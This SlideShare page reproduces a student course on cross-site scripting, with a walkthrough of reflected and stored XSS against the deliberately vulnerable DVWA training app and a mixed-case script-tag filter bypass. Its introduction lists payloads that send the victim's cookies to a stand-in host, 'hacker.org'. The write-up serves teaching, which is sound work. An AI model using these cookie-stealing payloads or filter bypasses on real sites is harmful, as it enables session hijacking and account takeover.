SlideShare a Scribd company logo
University of Craiova
Faculty of Automatics, Computers and Electronics
Cross-Site Scripting
-course-
Cristian Alexandrescu
Contents
1. Introduction...........................................................................................................................................3
1.1 What is Cross-site scripting (XSS)?....................................................................................................3
1.2 How do the XSS codes look like?.......................................................................................................3
1.3 How can XSS affect a web page? .......................................................................................................3
1.4 How can XSS affect us as admins, users, or visitors? ........................................................................3
1.5 How is perceived XSS from the attacker’s perspective? ....................................................................3
1.6 What is a WAF?..................................................................................................................................4
2. Classification.........................................................................................................................................4
2.1 Reflected XSS.....................................................................................................................................4
2.2 Stored XSS..........................................................................................................................................4
3. Possible scenario...................................................................................................................................5
3.1 Reflected XSS.....................................................................................................................................5
3.2 Stored XSS..........................................................................................................................................8
4. Methods of protection.........................................................................................................................13
5. Conclusions.........................................................................................................................................14
Bibliography ...............................................................................................................................................15
3
1. Introduction
In the last year this type of vulnerability is more frequent on websites. First we need to know
what does this vulnerability represents, how to exploit it and how to protect against her.
1.1 What is Cross-site scripting (XSS)?
This type of vulnerability exists and will continue to exist for the web developers. Web
developers are usually careless and very often leave search buttons or other HTML object
unprotected that can have a direct relation with the web pages or with the database.
1.2 How do the XSS codes look like?
The commands are nothing else than simple HTML and JS:
<img src="malicious.js">
<script>alert('XSS')</script>
<iframe="malitious.js">
<script>document.write('<img
src="http://hacker.org/+document.cookie+"')</script>
<a href="javascript:…">press here</a>
<script>document.location.replace('http://hacker.org/steal.cgi?'
+document.cookie);</script>
Hello World! <SCRIPT>malicious code</SCRIPT>
1.3 How can XSS affect a web page?
As the commands show, we can easily figure out how we can execute some code over a page.
Thus an attacker might steal information from our computer, more precisely from our browser
with a simple enter on the website.
1.4 How can XSS affect us as admins, users, or visitors?
It doesn’t matter the rank that we own on the website, stored XSS can do a lot of harm.
The worse part is that XSS remains hidden over a long period of time until someone will
discover it and it might be too late for some computers, accounts, or even the server/website.
1.5 How is perceived XSS from the attacker’s perspective?
We can say that a Cross site scripting vulnerability gives access to the victim’s cookies, this will
result in a session hijaking from which an attacker could enter to an account on that website
without authentification.
4
Currently, there are many banks that have already implemented session token with a clock of
inactivity which will give a higher security for that company and its customers.
1.6 What is a WAF?
Web Application Firewall can be a plugin and/or a set of filters based on a few predefined rules
that bans any unauthorized person from using certain commands. The most frequent WAFs are
for SQLi and XSS. A WAF can block IPs, the attacker will get HTTP errors like 404, 403, 406,
Mod Security, redirect to other pages, etc. Thus making a WAF almost impossible for an attacker
to bypass it and get certain vulnerability.
2. Classification
In this lab, I will emphasize the XSS vulnerability from DVWA (Damn Vulnerable Web
Application). XSS vulnerabilities are classified as such:
2.1 Reflected XSS
This type of XSS vulnerability is often found in search buttons or $_GET parameters that affects
the page for a short period of time. The malicious code does not remain on the web page, if we
refresh the web page, the malicious code will disappear.
2.2 Stored XSS
In comparison to reflected XSS, the stored XSS, as the name suggests, stores the malicious code
on the database of the server and will execute it each time you refresh the page.
5
3. Possible scenario
3.1 Reflected XSS
In the following page I will try to write a simple text to check the application’s behavior.
I notice that the web page outputs my text entered before. For the next example I will try a
simple HTML code.
Once I execute the HTML code, I can also add an alert script with JavaScript. This is the most
common/simple example of a Cross-site scripting vulnerability.
6
The next example is on the medium difficulty of the DVWA.
If I directly try the following code <script>alert('xss')</script> what would I get?
Seems like the <script> code was not executed. I will try again with a simple HTML code.
7
However the HTML codes are working, meaning that we have a WAR on the application.
I need to modify the script structure in order to bypass the WAF. I already saw that the <> don’t
have a WAF on them, because the HTML code was executed properly.
This means only the script has a WAF. To bypass it easily, write some letters with uppercase and
other with lowercase:
<sCriPt>alert('xss')</sCriPt>
8
3.2 Stored XSS
This time, the application has 2 fields: one for name and the other for message. Again I will write
simple text to check the application’s behavior.
What if I try bold from HTML?
Works perfect, but what the application will do when I will try with <script>?
9
In the second example, the JavaScript code is similar with the previous one. The only difference
is that the application now stores the malicious code inside the database and even if we refresh
the page, the result remains the same.
I will delete the JS code from the database, because I do not want this pop-up to appear every
time I am on the page. I will raise the difficulty to medium because I am already bored on the
easy version or stored XSS.
The same like the last time, simple HTML code into the message field.
Nothing happens, but why?
10
It is very clear that the HTML is not executed because he has a WAF on it. I think the <> have
WAF on them. More then 90% of the XSS codes have the <> into the composition. So now, I
have left only the name field.I will write the same JS code with script alert like the last time.
Seems like I have a problem: it does not let me enter more then 10 characters. What can be done
in this situation? I need an add-on for firefox named firebug through which we can modify the
existing HTML code.To use it, just right click on the name field and select the option: Inspect
Element with Firebug.
A new window will appear on the screen with all the HTML code on the web page. I will modify
the maxlenght of the input from 10 to 100.
11
Now that the input was modified, I can write 100 characters on that input, until sending the
request to the server.
What will happen if I write the same code with script alert like the last time?
Seems like I have the same problem, the <> are not executed.
I will try to bypass them with <sCriPt>alert('xss')</sCriPt>.
12
It worked! WAF bypassed on field name.
13
4. Methods of protection
https://code.google.com/p/php-antixss/
https://gist.github.com/mbijon/1098477
http://finn-no.github.io/xss-html-filter/
https://code.google.com/p/xssprotect/
14
5. Conclusions
Cross-site scripting is one of the most dangerous vulnerabilities. This vulnerability can cause
damage to his visitors/customers. With malicious JS code an attacker can send even a malware or
a CryptoLocker. It usually causes only the session hijacking because once the cookies are stolen,
the attacker can act like the person and do all the options that previously he was not allowed.
An owner of a server/website, has the responsibility to create secure applications that protect the
user information.
15
Bibliography
https://www.acunetix.com/websitesecurity/cross-site-scripting/
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet#A_Pos
itive_XSS_Prevention_Model
https://www.wordfence.com/learn/how-to-prevent-cross-site-scripting-attacks/

More Related Content

What's hot

Advanced xss
Advanced xssAdvanced xss
Advanced xss
Gajendra Saini
 
White paper screen
White paper screenWhite paper screen
White paper screen
eltincho89
 
Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation
Ikhade Maro Igbape
 
STORED XSS IN DVWA
STORED XSS IN DVWASTORED XSS IN DVWA
STORED XSS IN DVWA
Rutvik patel
 
Web Security
Web SecurityWeb Security
Web Security
Supankar Banik
 
The Cross Site Scripting Guide
The Cross Site Scripting GuideThe Cross Site Scripting Guide
The Cross Site Scripting Guide
Daisuke_Dan
 
Cross-site scripting (XSS)
Cross-site scripting (XSS)Cross-site scripting (XSS)
Cross-site scripting (XSS)
SongchaiDuangpan
 
Cross Site Scripting
Cross Site ScriptingCross Site Scripting
Cross Site Scripting
Ali Mattash
 
Security testing for web developers
Security testing for web developersSecurity testing for web developers
Security testing for web developers
matthewhughes
 
XSS-Alert-Pentration testing tool
XSS-Alert-Pentration testing toolXSS-Alert-Pentration testing tool
XSS-Alert-Pentration testing tool
Arjun Jain
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
kinish kumar
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
OWASP Khartoum
 
Xss.e xopresentation from eXo SEA
Xss.e xopresentation from eXo SEAXss.e xopresentation from eXo SEA
Xss.e xopresentation from eXo SEA
Thuy_Dang
 
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbharCross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Sandeep Kumbhar
 
XSS
XSSXSS
Reflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site ScriptingReflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site Scripting
InMobi Technology
 
Cross site scripting (xss)
Cross site scripting (xss)Cross site scripting (xss)
Cross site scripting (xss)
Manish Kumar
 
Xss talk, attack and defense
Xss talk, attack and defenseXss talk, attack and defense
Xss talk, attack and defense
Prakashchand Suthar
 
(In)Security Implication in the JS Universe
(In)Security Implication in the JS Universe(In)Security Implication in the JS Universe
(In)Security Implication in the JS Universe
Stefano Di Paola
 
Xss is more than a simple threat
Xss is more than a simple threatXss is more than a simple threat
Xss is more than a simple threat
Avădănei Andrei
 

What's hot (20)

Advanced xss
Advanced xssAdvanced xss
Advanced xss
 
White paper screen
White paper screenWhite paper screen
White paper screen
 
Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation
 
STORED XSS IN DVWA
STORED XSS IN DVWASTORED XSS IN DVWA
STORED XSS IN DVWA
 
Web Security
Web SecurityWeb Security
Web Security
 
The Cross Site Scripting Guide
The Cross Site Scripting GuideThe Cross Site Scripting Guide
The Cross Site Scripting Guide
 
Cross-site scripting (XSS)
Cross-site scripting (XSS)Cross-site scripting (XSS)
Cross-site scripting (XSS)
 
Cross Site Scripting
Cross Site ScriptingCross Site Scripting
Cross Site Scripting
 
Security testing for web developers
Security testing for web developersSecurity testing for web developers
Security testing for web developers
 
XSS-Alert-Pentration testing tool
XSS-Alert-Pentration testing toolXSS-Alert-Pentration testing tool
XSS-Alert-Pentration testing tool
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
 
Xss.e xopresentation from eXo SEA
Xss.e xopresentation from eXo SEAXss.e xopresentation from eXo SEA
Xss.e xopresentation from eXo SEA
 
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbharCross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
 
XSS
XSSXSS
XSS
 
Reflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site ScriptingReflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site Scripting
 
Cross site scripting (xss)
Cross site scripting (xss)Cross site scripting (xss)
Cross site scripting (xss)
 
Xss talk, attack and defense
Xss talk, attack and defenseXss talk, attack and defense
Xss talk, attack and defense
 
(In)Security Implication in the JS Universe
(In)Security Implication in the JS Universe(In)Security Implication in the JS Universe
(In)Security Implication in the JS Universe
 
Xss is more than a simple threat
Xss is more than a simple threatXss is more than a simple threat
Xss is more than a simple threat
 

Similar to Cross-Site Scripting course made by Cristian Alexandrescu

XSS Exploitation
XSS ExploitationXSS Exploitation
XSS Exploitation
Hacking Articles
 
xss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdfxss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdf
yashvirsingh48
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application Security
Chris x-MS
 
Complete xss walkthrough
Complete xss walkthroughComplete xss walkthrough
Complete xss walkthrough
Ahmed Elhady Mohamed
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008
abhijitapatil
 
Antiviruxss
AntiviruxssAntiviruxss
Antiviruxss
Marcusgcm
 
Session7-XSS & CSRF
Session7-XSS & CSRFSession7-XSS & CSRF
Session7-XSS & CSRF
zakieh alizadeh
 
XSS Primer - Noob to Pro in 1 hour
XSS Primer - Noob to Pro in 1 hourXSS Primer - Noob to Pro in 1 hour
XSS Primer - Noob to Pro in 1 hour
snoopythesecuritydog
 
Examining And Bypassing The IE8 XSS Filter
Examining And Bypassing The IE8 XSS FilterExamining And Bypassing The IE8 XSS Filter
Examining And Bypassing The IE8 XSS Filter
kuza55
 
Unusual Web Bugs
Unusual Web BugsUnusual Web Bugs
Unusual Web Bugs
amiable_indian
 
Web Bugs
Web BugsWeb Bugs
Web Bugs
Dr Rushi Raval
 
Xss is more than a simple threat
Xss is more than a simple threatXss is more than a simple threat
Xss is more than a simple threat
Romanian Cyber Conference
 
How To Detect Xss
How To Detect XssHow To Detect Xss
How To Detect Xss
Ferruh Mavituna
 
Ajax Security
Ajax SecurityAjax Security
Ajax Security
Roberto Suggi Liverani
 
Web Vulnerabilities And Exploitation - Compromising The Web
Web Vulnerabilities And Exploitation - Compromising The WebWeb Vulnerabilities And Exploitation - Compromising The Web
Web Vulnerabilities And Exploitation - Compromising The Web
Zero Science Lab
 
XSS.pdf
XSS.pdfXSS.pdf
XSS.pdf
Okan YILDIZ
 
XSS.pdf
XSS.pdfXSS.pdf
XSS.pdf
Okan YILDIZ
 
W3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realities
Brad Hill
 
XSS Injection Vulnerabilities
XSS Injection VulnerabilitiesXSS Injection Vulnerabilities
XSS Injection Vulnerabilities
Mindfire Solutions
 
The practice of web application penetration testing
The practice of web application penetration testingThe practice of web application penetration testing
The practice of web application penetration testing
_U2_
 

Similar to Cross-Site Scripting course made by Cristian Alexandrescu (20)

XSS Exploitation
XSS ExploitationXSS Exploitation
XSS Exploitation
 
xss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdfxss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdf
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application Security
 
Complete xss walkthrough
Complete xss walkthroughComplete xss walkthrough
Complete xss walkthrough
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008
 
Antiviruxss
AntiviruxssAntiviruxss
Antiviruxss
 
Session7-XSS & CSRF
Session7-XSS & CSRFSession7-XSS & CSRF
Session7-XSS & CSRF
 
XSS Primer - Noob to Pro in 1 hour
XSS Primer - Noob to Pro in 1 hourXSS Primer - Noob to Pro in 1 hour
XSS Primer - Noob to Pro in 1 hour
 
Examining And Bypassing The IE8 XSS Filter
Examining And Bypassing The IE8 XSS FilterExamining And Bypassing The IE8 XSS Filter
Examining And Bypassing The IE8 XSS Filter
 
Unusual Web Bugs
Unusual Web BugsUnusual Web Bugs
Unusual Web Bugs
 
Web Bugs
Web BugsWeb Bugs
Web Bugs
 
Xss is more than a simple threat
Xss is more than a simple threatXss is more than a simple threat
Xss is more than a simple threat
 
How To Detect Xss
How To Detect XssHow To Detect Xss
How To Detect Xss
 
Ajax Security
Ajax SecurityAjax Security
Ajax Security
 
Web Vulnerabilities And Exploitation - Compromising The Web
Web Vulnerabilities And Exploitation - Compromising The WebWeb Vulnerabilities And Exploitation - Compromising The Web
Web Vulnerabilities And Exploitation - Compromising The Web
 
XSS.pdf
XSS.pdfXSS.pdf
XSS.pdf
 
XSS.pdf
XSS.pdfXSS.pdf
XSS.pdf
 
W3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realities
 
XSS Injection Vulnerabilities
XSS Injection VulnerabilitiesXSS Injection Vulnerabilities
XSS Injection Vulnerabilities
 
The practice of web application penetration testing
The practice of web application penetration testingThe practice of web application penetration testing
The practice of web application penetration testing
 

Recently uploaded

ISO/IEC 27001, ISO/IEC 42001, and GDPR: Best Practices for Implementation and...
ISO/IEC 27001, ISO/IEC 42001, and GDPR: Best Practices for Implementation and...ISO/IEC 27001, ISO/IEC 42001, and GDPR: Best Practices for Implementation and...
ISO/IEC 27001, ISO/IEC 42001, and GDPR: Best Practices for Implementation and...
PECB
 
How to Fix the Import Error in the Odoo 17
How to Fix the Import Error in the Odoo 17How to Fix the Import Error in the Odoo 17
How to Fix the Import Error in the Odoo 17
Celine George
 
Présentationvvvvvvvvvvvvvvvvvvvvvvvvvvvv2.pptx
Présentationvvvvvvvvvvvvvvvvvvvvvvvvvvvv2.pptxPrésentationvvvvvvvvvvvvvvvvvvvvvvvvvvvv2.pptx
Présentationvvvvvvvvvvvvvvvvvvvvvvvvvvvv2.pptx
siemaillard
 
Pengantar Penggunaan Flutter - Dart programming language1.pptx
Pengantar Penggunaan Flutter - Dart programming language1.pptxPengantar Penggunaan Flutter - Dart programming language1.pptx
Pengantar Penggunaan Flutter - Dart programming language1.pptx
Fajar Baskoro
 
How to Create a More Engaging and Human Online Learning Experience
How to Create a More Engaging and Human Online Learning Experience How to Create a More Engaging and Human Online Learning Experience
How to Create a More Engaging and Human Online Learning Experience
Wahiba Chair Training & Consulting
 
ANATOMY AND BIOMECHANICS OF HIP JOINT.pdf
ANATOMY AND BIOMECHANICS OF HIP JOINT.pdfANATOMY AND BIOMECHANICS OF HIP JOINT.pdf
ANATOMY AND BIOMECHANICS OF HIP JOINT.pdf
Priyankaranawat4
 
How to Manage Your Lost Opportunities in Odoo 17 CRM
How to Manage Your Lost Opportunities in Odoo 17 CRMHow to Manage Your Lost Opportunities in Odoo 17 CRM
How to Manage Your Lost Opportunities in Odoo 17 CRM
Celine George
 
Chapter wise All Notes of First year Basic Civil Engineering.pptx
Chapter wise All Notes of First year Basic Civil Engineering.pptxChapter wise All Notes of First year Basic Civil Engineering.pptx
Chapter wise All Notes of First year Basic Civil Engineering.pptx
Denish Jangid
 
How to Make a Field Mandatory in Odoo 17
How to Make a Field Mandatory in Odoo 17How to Make a Field Mandatory in Odoo 17
How to Make a Field Mandatory in Odoo 17
Celine George
 
Walmart Business+ and Spark Good for Nonprofits.pdf
Walmart Business+ and Spark Good for Nonprofits.pdfWalmart Business+ and Spark Good for Nonprofits.pdf
Walmart Business+ and Spark Good for Nonprofits.pdf
TechSoup
 
Leveraging Generative AI to Drive Nonprofit Innovation
Leveraging Generative AI to Drive Nonprofit InnovationLeveraging Generative AI to Drive Nonprofit Innovation
Leveraging Generative AI to Drive Nonprofit Innovation
TechSoup
 
Pollock and Snow "DEIA in the Scholarly Landscape, Session One: Setting Expec...
Pollock and Snow "DEIA in the Scholarly Landscape, Session One: Setting Expec...Pollock and Snow "DEIA in the Scholarly Landscape, Session One: Setting Expec...
Pollock and Snow "DEIA in the Scholarly Landscape, Session One: Setting Expec...
National Information Standards Organization (NISO)
 
Wound healing PPT
Wound healing PPTWound healing PPT
Wound healing PPT
Jyoti Chand
 
Film vocab for eal 3 students: Australia the movie
Film vocab for eal 3 students: Australia the movieFilm vocab for eal 3 students: Australia the movie
Film vocab for eal 3 students: Australia the movie
Nicholas Montgomery
 
Cognitive Development Adolescence Psychology
Cognitive Development Adolescence PsychologyCognitive Development Adolescence Psychology
Cognitive Development Adolescence Psychology
paigestewart1632
 
The basics of sentences session 6pptx.pptx
The basics of sentences session 6pptx.pptxThe basics of sentences session 6pptx.pptx
The basics of sentences session 6pptx.pptx
heathfieldcps1
 
PCOS corelations and management through Ayurveda.
PCOS corelations and management through Ayurveda.PCOS corelations and management through Ayurveda.
PCOS corelations and management through Ayurveda.
Dr. Shivangi Singh Parihar
 
Digital Artefact 1 - Tiny Home Environmental Design
Digital Artefact 1 - Tiny Home Environmental DesignDigital Artefact 1 - Tiny Home Environmental Design
Digital Artefact 1 - Tiny Home Environmental Design
amberjdewit93
 
NEWSPAPERS - QUESTION 1 - REVISION POWERPOINT.pptx
NEWSPAPERS - QUESTION 1 - REVISION POWERPOINT.pptxNEWSPAPERS - QUESTION 1 - REVISION POWERPOINT.pptx
NEWSPAPERS - QUESTION 1 - REVISION POWERPOINT.pptx
iammrhaywood
 
BÀI TẬP BỔ TRỢ TIẾNG ANH 8 CẢ NĂM - GLOBAL SUCCESS - NĂM HỌC 2023-2024 (CÓ FI...
BÀI TẬP BỔ TRỢ TIẾNG ANH 8 CẢ NĂM - GLOBAL SUCCESS - NĂM HỌC 2023-2024 (CÓ FI...BÀI TẬP BỔ TRỢ TIẾNG ANH 8 CẢ NĂM - GLOBAL SUCCESS - NĂM HỌC 2023-2024 (CÓ FI...
BÀI TẬP BỔ TRỢ TIẾNG ANH 8 CẢ NĂM - GLOBAL SUCCESS - NĂM HỌC 2023-2024 (CÓ FI...
Nguyen Thanh Tu Collection
 

Recently uploaded (20)

ISO/IEC 27001, ISO/IEC 42001, and GDPR: Best Practices for Implementation and...
ISO/IEC 27001, ISO/IEC 42001, and GDPR: Best Practices for Implementation and...ISO/IEC 27001, ISO/IEC 42001, and GDPR: Best Practices for Implementation and...
ISO/IEC 27001, ISO/IEC 42001, and GDPR: Best Practices for Implementation and...
 
How to Fix the Import Error in the Odoo 17
How to Fix the Import Error in the Odoo 17How to Fix the Import Error in the Odoo 17
How to Fix the Import Error in the Odoo 17
 
Présentationvvvvvvvvvvvvvvvvvvvvvvvvvvvv2.pptx
Présentationvvvvvvvvvvvvvvvvvvvvvvvvvvvv2.pptxPrésentationvvvvvvvvvvvvvvvvvvvvvvvvvvvv2.pptx
Présentationvvvvvvvvvvvvvvvvvvvvvvvvvvvv2.pptx
 
Pengantar Penggunaan Flutter - Dart programming language1.pptx
Pengantar Penggunaan Flutter - Dart programming language1.pptxPengantar Penggunaan Flutter - Dart programming language1.pptx
Pengantar Penggunaan Flutter - Dart programming language1.pptx
 
How to Create a More Engaging and Human Online Learning Experience
How to Create a More Engaging and Human Online Learning Experience How to Create a More Engaging and Human Online Learning Experience
How to Create a More Engaging and Human Online Learning Experience
 
ANATOMY AND BIOMECHANICS OF HIP JOINT.pdf
ANATOMY AND BIOMECHANICS OF HIP JOINT.pdfANATOMY AND BIOMECHANICS OF HIP JOINT.pdf
ANATOMY AND BIOMECHANICS OF HIP JOINT.pdf
 
How to Manage Your Lost Opportunities in Odoo 17 CRM
How to Manage Your Lost Opportunities in Odoo 17 CRMHow to Manage Your Lost Opportunities in Odoo 17 CRM
How to Manage Your Lost Opportunities in Odoo 17 CRM
 
Chapter wise All Notes of First year Basic Civil Engineering.pptx
Chapter wise All Notes of First year Basic Civil Engineering.pptxChapter wise All Notes of First year Basic Civil Engineering.pptx
Chapter wise All Notes of First year Basic Civil Engineering.pptx
 
How to Make a Field Mandatory in Odoo 17
How to Make a Field Mandatory in Odoo 17How to Make a Field Mandatory in Odoo 17
How to Make a Field Mandatory in Odoo 17
 
Walmart Business+ and Spark Good for Nonprofits.pdf
Walmart Business+ and Spark Good for Nonprofits.pdfWalmart Business+ and Spark Good for Nonprofits.pdf
Walmart Business+ and Spark Good for Nonprofits.pdf
 
Leveraging Generative AI to Drive Nonprofit Innovation
Leveraging Generative AI to Drive Nonprofit InnovationLeveraging Generative AI to Drive Nonprofit Innovation
Leveraging Generative AI to Drive Nonprofit Innovation
 
Pollock and Snow "DEIA in the Scholarly Landscape, Session One: Setting Expec...
Pollock and Snow "DEIA in the Scholarly Landscape, Session One: Setting Expec...Pollock and Snow "DEIA in the Scholarly Landscape, Session One: Setting Expec...
Pollock and Snow "DEIA in the Scholarly Landscape, Session One: Setting Expec...
 
Wound healing PPT
Wound healing PPTWound healing PPT
Wound healing PPT
 
Film vocab for eal 3 students: Australia the movie
Film vocab for eal 3 students: Australia the movieFilm vocab for eal 3 students: Australia the movie
Film vocab for eal 3 students: Australia the movie
 
Cognitive Development Adolescence Psychology
Cognitive Development Adolescence PsychologyCognitive Development Adolescence Psychology
Cognitive Development Adolescence Psychology
 
The basics of sentences session 6pptx.pptx
The basics of sentences session 6pptx.pptxThe basics of sentences session 6pptx.pptx
The basics of sentences session 6pptx.pptx
 
PCOS corelations and management through Ayurveda.
PCOS corelations and management through Ayurveda.PCOS corelations and management through Ayurveda.
PCOS corelations and management through Ayurveda.
 
Digital Artefact 1 - Tiny Home Environmental Design
Digital Artefact 1 - Tiny Home Environmental DesignDigital Artefact 1 - Tiny Home Environmental Design
Digital Artefact 1 - Tiny Home Environmental Design
 
NEWSPAPERS - QUESTION 1 - REVISION POWERPOINT.pptx
NEWSPAPERS - QUESTION 1 - REVISION POWERPOINT.pptxNEWSPAPERS - QUESTION 1 - REVISION POWERPOINT.pptx
NEWSPAPERS - QUESTION 1 - REVISION POWERPOINT.pptx
 
BÀI TẬP BỔ TRỢ TIẾNG ANH 8 CẢ NĂM - GLOBAL SUCCESS - NĂM HỌC 2023-2024 (CÓ FI...
BÀI TẬP BỔ TRỢ TIẾNG ANH 8 CẢ NĂM - GLOBAL SUCCESS - NĂM HỌC 2023-2024 (CÓ FI...BÀI TẬP BỔ TRỢ TIẾNG ANH 8 CẢ NĂM - GLOBAL SUCCESS - NĂM HỌC 2023-2024 (CÓ FI...
BÀI TẬP BỔ TRỢ TIẾNG ANH 8 CẢ NĂM - GLOBAL SUCCESS - NĂM HỌC 2023-2024 (CÓ FI...
 

Cross-Site Scripting course made by Cristian Alexandrescu

  • 1. University of Craiova Faculty of Automatics, Computers and Electronics Cross-Site Scripting -course- Cristian Alexandrescu
  • 2. Contents 1. Introduction...........................................................................................................................................3 1.1 What is Cross-site scripting (XSS)?....................................................................................................3 1.2 How do the XSS codes look like?.......................................................................................................3 1.3 How can XSS affect a web page? .......................................................................................................3 1.4 How can XSS affect us as admins, users, or visitors? ........................................................................3 1.5 How is perceived XSS from the attacker’s perspective? ....................................................................3 1.6 What is a WAF?..................................................................................................................................4 2. Classification.........................................................................................................................................4 2.1 Reflected XSS.....................................................................................................................................4 2.2 Stored XSS..........................................................................................................................................4 3. Possible scenario...................................................................................................................................5 3.1 Reflected XSS.....................................................................................................................................5 3.2 Stored XSS..........................................................................................................................................8 4. Methods of protection.........................................................................................................................13 5. Conclusions.........................................................................................................................................14 Bibliography ...............................................................................................................................................15
  • 3. 3 1. Introduction In the last year this type of vulnerability is more frequent on websites. First we need to know what does this vulnerability represents, how to exploit it and how to protect against her. 1.1 What is Cross-site scripting (XSS)? This type of vulnerability exists and will continue to exist for the web developers. Web developers are usually careless and very often leave search buttons or other HTML object unprotected that can have a direct relation with the web pages or with the database. 1.2 How do the XSS codes look like? The commands are nothing else than simple HTML and JS: <img src="malicious.js"> <script>alert('XSS')</script> <iframe="malitious.js"> <script>document.write('<img src="http://hacker.org/+document.cookie+"')</script> <a href="javascript:…">press here</a> <script>document.location.replace('http://hacker.org/steal.cgi?' +document.cookie);</script> Hello World! <SCRIPT>malicious code</SCRIPT> 1.3 How can XSS affect a web page? As the commands show, we can easily figure out how we can execute some code over a page. Thus an attacker might steal information from our computer, more precisely from our browser with a simple enter on the website. 1.4 How can XSS affect us as admins, users, or visitors? It doesn’t matter the rank that we own on the website, stored XSS can do a lot of harm. The worse part is that XSS remains hidden over a long period of time until someone will discover it and it might be too late for some computers, accounts, or even the server/website. 1.5 How is perceived XSS from the attacker’s perspective? We can say that a Cross site scripting vulnerability gives access to the victim’s cookies, this will result in a session hijaking from which an attacker could enter to an account on that website without authentification.
  • 4. 4 Currently, there are many banks that have already implemented session token with a clock of inactivity which will give a higher security for that company and its customers. 1.6 What is a WAF? Web Application Firewall can be a plugin and/or a set of filters based on a few predefined rules that bans any unauthorized person from using certain commands. The most frequent WAFs are for SQLi and XSS. A WAF can block IPs, the attacker will get HTTP errors like 404, 403, 406, Mod Security, redirect to other pages, etc. Thus making a WAF almost impossible for an attacker to bypass it and get certain vulnerability. 2. Classification In this lab, I will emphasize the XSS vulnerability from DVWA (Damn Vulnerable Web Application). XSS vulnerabilities are classified as such: 2.1 Reflected XSS This type of XSS vulnerability is often found in search buttons or $_GET parameters that affects the page for a short period of time. The malicious code does not remain on the web page, if we refresh the web page, the malicious code will disappear. 2.2 Stored XSS In comparison to reflected XSS, the stored XSS, as the name suggests, stores the malicious code on the database of the server and will execute it each time you refresh the page.
  • 5. 5 3. Possible scenario 3.1 Reflected XSS In the following page I will try to write a simple text to check the application’s behavior. I notice that the web page outputs my text entered before. For the next example I will try a simple HTML code. Once I execute the HTML code, I can also add an alert script with JavaScript. This is the most common/simple example of a Cross-site scripting vulnerability.
  • 6. 6 The next example is on the medium difficulty of the DVWA. If I directly try the following code <script>alert('xss')</script> what would I get? Seems like the <script> code was not executed. I will try again with a simple HTML code.
  • 7. 7 However the HTML codes are working, meaning that we have a WAR on the application. I need to modify the script structure in order to bypass the WAF. I already saw that the <> don’t have a WAF on them, because the HTML code was executed properly. This means only the script has a WAF. To bypass it easily, write some letters with uppercase and other with lowercase: <sCriPt>alert('xss')</sCriPt>
  • 8. 8 3.2 Stored XSS This time, the application has 2 fields: one for name and the other for message. Again I will write simple text to check the application’s behavior. What if I try bold from HTML? Works perfect, but what the application will do when I will try with <script>?
  • 9. 9 In the second example, the JavaScript code is similar with the previous one. The only difference is that the application now stores the malicious code inside the database and even if we refresh the page, the result remains the same. I will delete the JS code from the database, because I do not want this pop-up to appear every time I am on the page. I will raise the difficulty to medium because I am already bored on the easy version or stored XSS. The same like the last time, simple HTML code into the message field. Nothing happens, but why?
  • 10. 10 It is very clear that the HTML is not executed because he has a WAF on it. I think the <> have WAF on them. More then 90% of the XSS codes have the <> into the composition. So now, I have left only the name field.I will write the same JS code with script alert like the last time. Seems like I have a problem: it does not let me enter more then 10 characters. What can be done in this situation? I need an add-on for firefox named firebug through which we can modify the existing HTML code.To use it, just right click on the name field and select the option: Inspect Element with Firebug. A new window will appear on the screen with all the HTML code on the web page. I will modify the maxlenght of the input from 10 to 100.
  • 11. 11 Now that the input was modified, I can write 100 characters on that input, until sending the request to the server. What will happen if I write the same code with script alert like the last time? Seems like I have the same problem, the <> are not executed. I will try to bypass them with <sCriPt>alert('xss')</sCriPt>.
  • 12. 12 It worked! WAF bypassed on field name.
  • 13. 13 4. Methods of protection https://code.google.com/p/php-antixss/ https://gist.github.com/mbijon/1098477 http://finn-no.github.io/xss-html-filter/ https://code.google.com/p/xssprotect/
  • 14. 14 5. Conclusions Cross-site scripting is one of the most dangerous vulnerabilities. This vulnerability can cause damage to his visitors/customers. With malicious JS code an attacker can send even a malware or a CryptoLocker. It usually causes only the session hijacking because once the cookies are stolen, the attacker can act like the person and do all the options that previously he was not allowed. An owner of a server/website, has the responsibility to create secure applications that protect the user information.